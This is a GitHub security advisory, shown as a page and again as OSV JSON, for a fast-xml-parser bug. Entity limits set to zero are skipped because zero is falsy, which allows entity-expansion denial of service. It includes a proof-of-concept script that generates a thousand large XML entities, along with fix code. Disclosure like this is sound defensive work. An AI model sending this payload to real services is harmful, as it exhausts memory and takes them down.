GHSA-JP2Q-39XQ-3W4G

Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-04-08 22:27
VLAI
Summary
Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser
Details

Summary

The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

Details

The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):

// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,

However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:

// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&          // ← 0 is falsy, skips check
    entityCount >= this.options.maxEntityCount) {
    throw new Error(`Entity count ...`);
}

// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&            // ← 0 is falsy, skips check
    entityValue.length > this.options.maxEntitySize) {
    throw new Error(`Entity "${entityName}" size ...`);
}

The execution flow is:

  1. Developer configures processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions.
  2. OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior).
  3. Attacker supplies XML with a DOCTYPE containing many large entities.
  4. DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false.
  5. DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result.
  6. All entity count and size limits are bypassed; entities are parsed without restriction.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Expected output:

VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)

Impact

  • Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely.
  • Security control bypass: Developers who explicitly set restrictive limits to 0 receive no protection — the opposite of their intent. This creates a false sense of security.
  • Scope: Only applications that explicitly set these limits to 0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.

Recommended Fix

Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:

// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&
    entityCount >= this.options.maxEntityCount) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntityCount === 'number' &&
    entityCount >= this.options.maxEntityCount) {

// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&
    entityValue.length > this.options.maxEntitySize) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntitySize === 'number' &&
    entityValue.length > this.options.maxEntitySize) {

Workaround

If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:13Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // \u2190 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // \u2190 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
  "id": "GHSA-jp2q-39xq-3w4g",
  "modified": "2026-04-08T22:27:44Z",
  "published": "2026-03-19T19:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}



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